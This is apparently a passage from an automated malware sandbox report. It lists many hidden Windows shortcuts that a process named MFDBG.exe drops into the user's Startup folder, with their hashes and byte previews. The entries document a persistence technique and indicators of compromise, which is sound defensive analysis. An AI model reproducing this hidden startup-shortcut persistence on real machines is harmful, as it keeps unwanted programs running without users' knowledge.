File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:00 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9282110426651355
Encrypted:	false
SSDEEP:	24:8jUBfs68EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8j6cEvZ0yRO7DLO2zdxdRd1kyg
MD5:	A8E3EB689A3023A40C92346C50BB81BA
SHA1:	8AA7966938AEBD342C5A7C287DD104C89D69B49D
SHA-256:	E2BF0CED1B90396F75132CDC17809D152B82ADAE2EEEDAAB7D717A76D5FF32FD
SHA-512:	7F981767FB3BFF33A4260E2D77164C8786F1D1D1B1B97B21AEFA6B081412A37C2AC6ECAC0FB86B57375D4CCAEA93A5F605B77F3E88295D53C3E34BA9AE0452B6
Malicious:	false
Preview:	L..................F....".......d...I..d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...p...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f288b0903906439fbbd30cbaf8a1c4d2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920339384227914
Encrypted:	false
SSDEEP:	24:8vrBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8VVEvZ0yRO7DLO2zdxdRd1kyg
MD5:	35F3EA90CC39761EC47196B233DF400D
SHA1:	84F8226BEEAB38D3EE8396F927D56DF738ACCEA3
SHA-256:	99DCF0E54C08558D18F6E7BAFDE1422F91290EADD416C9B4FD9DD533FA5BCB22
SHA-512:	34BFCB1FB0B9CD4A0A1D47E7CCE29D5AA9C2B0276FD25AF28C19893F28CFDA21E11C8910A4254BFA62D00EBC84B9CC1868B5FF062BEA68B6B8EDF7A5006D6909
Malicious:	false
Preview:	L..................F....".......d...\|.u^d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...K.n^d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f2cae9e31cfe4dd78d567ecf6fb168d6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923656860136233
Encrypted:	false
SSDEEP:	24:8iBfZ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8QWEvZ0yRO7DLO2zdxdRd1kyg
MD5:	AFAEADD791296C213FFC14DAFC2363CF
SHA1:	CA0FD4CE2D1E93B2627012855E42E7B9DD269DEB
SHA-256:	A20565B5251F72A557922ABCA3ED263C51EB73E2FC478AFFD971682B73B1F2EE
SHA-512:	BE7EE566C5611D0FBC880E9CBF3D04C51831F2300AB7DF58417D67F96B4E1E84D32BCA47AC97F0CFD8E9C0FCA6B529C26FFA551F48A1BF3BC4FA94D9A3F80012
Malicious:	false
Preview:	L..................F....".......d....*.\d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f301b392d9de47899f1629c65eb08e38.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:14 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.922445427862772
Encrypted:	false
SSDEEP:	24:86Bf6D8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:84yQEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C47329C5156704FD62634AD6ADE8B227
SHA1:	3A9124A8EADC899B7B745C1904ABFC55A1A06FD1
SHA-256:	2AD1A079DF39738CF4372DA3F4CD8D84C5A62F8843DBE9220C6791709C5CF0B1
SHA-512:	77AA74B467A57B018AC1E08C7A66786611AD9C29967B5561EE585CD9A4043E42A606CCAE62E418589F11104728F6870F037267E107894B643F869A8B9C6FF79B
Malicious:	false
Preview:	L..................F....".......d......%d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...5.%d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f305204a071f457bbba376db0d3b6659.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9278401001591705
Encrypted:	false
SSDEEP:	24:8ZKBfbl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8ZI+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	C9A79A80DEEEBCE078DDB1E2052AFB1F
SHA1:	0A52C74CE09121FD894750A598F14D6113BDE032
SHA-256:	20FBDBB6A4952BE75F56EACB75F28A443B3EDDB9758870104FF34A51C6E09E13
SHA-512:	4BB8D77A5F106D1ABF1001258352C0E2280BDB153EC43CDF11D059683A577705B9C4268FEFA387C8AA8B61B2C3BF2558EBAD856814A6E7CF0DD8A6479517ABD7
Malicious:	false
Preview:	L..................F....".......d...W..;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f30a0ef1581a48e2acad0584d07708a8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:56 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918738990774208
Encrypted:	false
SSDEEP:	24:8gBfc8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8uREvZ0yRO7DLO2zdxdRd1kyg
MD5:	2E803299ED326524B935D520944F5FBA
SHA1:	E33CF70B15CFB97E52E9BE7CBA31BCD677C578DA
SHA-256:	976BCD149D26BB39EF81D999F4BB0B67B2D8A5E4E2C7F81A799AA6987C382A94
SHA-512:	A0066EB0BB736AEBF3122A2EE3725FA83F5589050B141A4CF012667A8C129781ABB22621A7035219549BD13510A5B73B04B4576A2BC1491F6C59279FC89914F3
Malicious:	false
Preview:	L..................F....".......d...Uv.>d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...B..?d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f31d299e77614811bbf95885d0fa85bd.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923065008835668
Encrypted:	false
SSDEEP:	24:8kuBf88EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8kExEvZ0yRO7DLO2zdxdRd1kyg
MD5:	B594473467EDC22179875A6B843A7BB2
SHA1:	CB24C73521FDF79157B88D414AEC14F1A3E6A4FA
SHA-256:	1F087CE18971B94958D58054E6B2540A21F6632603E83428D0235CF2DF779B9B
SHA-512:	6CA9377925898F631917411BF3B678014F4DFAB60A71A78E20A45703EA351E6F90DD027A15D8083217EB4A3DB8BBF9942B164ACD55EE1168A7263A0D16A49873
Malicious:	false
Preview:	L..................F....".......d.....a'd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....?E'd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f3408920b42d477d82a70823101ed2ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:38 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92395160050114
Encrypted:	false
SSDEEP:	24:8VBf/P48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8X3FEvZ0yRO7DLO2zdxdRd1kyg
MD5:	07AD64677093E241A941F4398371C2CA
SHA1:	F12AB5DFAE071DD90EA3EF8133DB1AAF2033F6F8
SHA-256:	BDACDC6B633AEC3BD1B25152C8E2B786E04AB091C234EA7BBC3CEDDD8DB907D7
SHA-512:	61B1FD7B858766DBA8A42588F6024A221617489212393CFC95F6CF9F5F3600912AABA23957C6F6EE0DB81DCAF22FB664B697E29DF4109E7B50A85B21FFE441DD
Malicious:	false
Preview:	L..................F....".......d....~.{d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....0.{d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f3e2313274494d28a0f6a99a194a2895.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928308883397621
Encrypted:	false
SSDEEP:	24:8WBfbl8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8c+EvZ0yRO7DLO2zdxdRd1kyg
MD5:	CAAE2870A52DA5F8225E534ACAB1CE04
SHA1:	81A5BED94623B0010C0D71ECABB790C4B05E3196
SHA-256:	FFDC1DF1FD47FAFF01FC0DDE37EF911F865CE6B3737D790C7453F607BFF8B063
SHA-512:	BE27BEB17D161625527A2ADA05CBD8C278377CB41020D90E6062A7C3326C7172C887E8A155C43711BEFA0958253FD30EAACB5D2E5DAB667D7E471AF0EEAC8374
Malicious:	false
Preview:	L..................F....".......d...w&.;d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....;d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f42753194e2241b3a564fdd125902ddb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:57 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.92114967897553
Encrypted:	false
SSDEEP:	24:8dNBfk8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8d/JEvZ0yRO7DLO2zdxdRd1kyg
MD5:	3F9A55CBE876AD6F93B7F422B8D4A53F
SHA1:	D0F381DE080F8A573FF8EDB2418D319AD385028D
SHA-256:	914436BD2C38580437CEF0A349F8B54D02450177F6B636986A0C9AD4F026D691
SHA-512:	0687312F3763C137CE97F5A6F37F53129440994F6309A377162ACE883080EEFD616F643B194493A787C5169B01B648ECAC59970BE184B3DAA0B4990601ADBFC8
Malicious:	false
Preview:	L..................F....".......d.... 7.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....(.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f447ab547b224ce291cfcfb70633bd84.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:03 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.918735370857063
Encrypted:	false
SSDEEP:	24:8tBfQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8f9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	DB969996E73CDDD97BD408FDFD8BB573
SHA1:	245DDAE96F11E938D781DC94F8967C81558BC06E
SHA-256:	E242C41D216E0482ADE7C36FF676E2F814869E5EA75CF4417C3A2C66CED12B5F
SHA-512:	9FE54CB0BFEBB13C91B9B599C24BCDB5DA7395BD0FA6D8DB022A3D3388A48E839669A36F5816CDE5A7490A5E2E8F511B93E6DCEDA0677837B35DD749F9C3EFE4
Malicious:	false
Preview:	L..................F....".......d...y...d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...2...d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f44b5d7817e0498ba3fb876e447efa03.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:29 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.929061969716804
Encrypted:	false
SSDEEP:	24:84BfT8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:824EvZ0yRO7DLO2zdxdRd1kyg
MD5:	47BE95F5C58ED7CAADD416D41DC8308A
SHA1:	95045298DF968989735861C56AB9A5EF5D3DE930
SHA-256:	69257087914B2CD80452384542DA5264AF2185F8060BAD23AABEBCB9B2E9C6C0
SHA-512:	5FBD9D3CE9C47F465B4C2571772E25C4EB83E15E50C2E92F2152CD667F2E263531FBBB0FDFD0541FF049946B5BE9164AB4E28014E58FCCD07C3A8D84E758875F
Malicious:	false
Preview:	L..................F....".......d....R.Rd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....Rd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f45234c5af6347b69fbda2eb06d34384.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:42 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919881524338755
Encrypted:	false
SSDEEP:	24:8auBfu8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8H7EvZ0yRO7DLO2zdxdRd1kyg
MD5:	B81F81013CBF6D742AFBA9F185D2F23B
SHA1:	A2DB2C543A41F9B2E0894F9C35C10E5AE0F82169
SHA-256:	0179F159D21847B7A71DC307099065365CF2688ECCDB5ADBD38E1A2E539EE4DC
SHA-512:	8DC7BBC14A0DA4211926F786A2E77BE074EB65DE7DA3C9793E47448B7E547138157D8706E846F90D1EE6E7DAA83878D83A8F647B828F9BC0BFDA01E28A9AEFA2
Malicious:	false
Preview:	L..................F....".......d...9C.Zd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......Zd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f479cc4b7b934621b114e9851cf7f7da.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
